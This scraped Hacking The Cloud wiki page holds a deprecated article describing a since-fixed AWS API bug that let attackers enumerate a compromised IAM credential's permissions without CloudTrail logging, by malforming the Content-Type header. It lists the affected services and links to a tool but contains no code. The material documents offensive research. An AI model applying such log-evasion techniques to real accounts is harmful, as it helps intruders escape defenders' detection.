Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/deprecated/stealth_perm_enum.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=deprecated-enumerate-permissions-without-logging-to-cloudtrail>[Deprecated] Enumerate Permissions without Logging to CloudTrail<a class=headerlink href=#deprecated-enumerate-permissions-without-logging-to-cloudtrail title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://frichetten.com/blog/aws-api-enum-vuln/ >Enumerate AWS API Permissions Without Logging to CloudTrail</a> by <a href=https://twitter.com/frichette_n>Nick Frichette</a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/Frichetten/aws_stealth_perm_enum>aws_stealth_perm_enum</a></p> </li> </ul> </div> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.</p> </div> <p>After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.</p> <p>Aside from guessing, enumerating these permissions would typically require a tool to brute force them like <a href=https://github.com/andresriancho/enumerate-iam>enumerate-iam</a> (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner? </p> <p>The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.</p> <p>The following services are affected, although please note, that not all actions for these services can be enumerated. </p> <table> <thead> <tr> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>application-autoscaling</td> <td>appstream</td> </tr> <tr> <td>athena</td> <td>autoscaling-plans</td> </tr> <tr> <td>aws-marketplace</td> <td>cloudhsm</td> </tr> <tr> <td>codecommit</td> <td>codepipeline</td> </tr> <tr> <td>codestar</td> <td>comprehend</td> </tr> <tr> <td>cur</td> <td>datapipeline</td> </tr> <tr> <td>dax</td> <td>discovery</td> </tr> <tr> <td>forecast</td> <td>gamelift</td> </tr> <tr> <td>health</td> <td>identitystore</td> </tr> <tr> <td>kinesis</td> <td>kinesisanalytics</td> </tr> <tr> <td>macie</td> <td>mediastore</td> </tr> <tr> <td>mgh</td> <td>mturk-requester</td> </tr> <tr> <td>opsworks-cm</td> <td>personalize</td> </tr> <tr> <td>redshift-data</td> <td>route53domains</td> </tr> <tr> <td>route53resolver</td> <td>sagemaker</td> </tr> <tr> <td>secretsmanager</td> <td>shield</td> </tr> <tr> <td>sms</td> <td>snowball</td> </tr> <tr> <td>support</td> <td>tagging</td> </tr> <tr> <td>textract</td> <td>translate</td> </tr> <tr> <td>workmail</td> <td></td> </tr> </tbody> </table> <div class="admonition note"> <p class=admonition-title>Note</p> <p>For an in depth explanation for the bug, please see the <a href=https://frichetten.com/blog/aws-api-enum-vuln/ >original research</a>. In this article we will just discuss how to take advantage of it.</p> </div> <p>There are some conditions to the enumeration, and they are defined below.</p> <p>1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to "*".</p> <p>To perform the enumeration there is a script <a href=https://github.com/Frichetten/aws_stealth_perm_enum>here</a>. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.</p> <figure> <p><a class=glightbox href=../../../images/aws/enumeration/stealth_perm_enum/permissions.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Proof of Concept" loading=lazy src=../../../images/aws/enumeration/stealth_perm_enum/permissions.png></a></p> </figure> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">October 24, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#deprecated-enumerate-permissions-without-logging-to-cloudtrail class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form 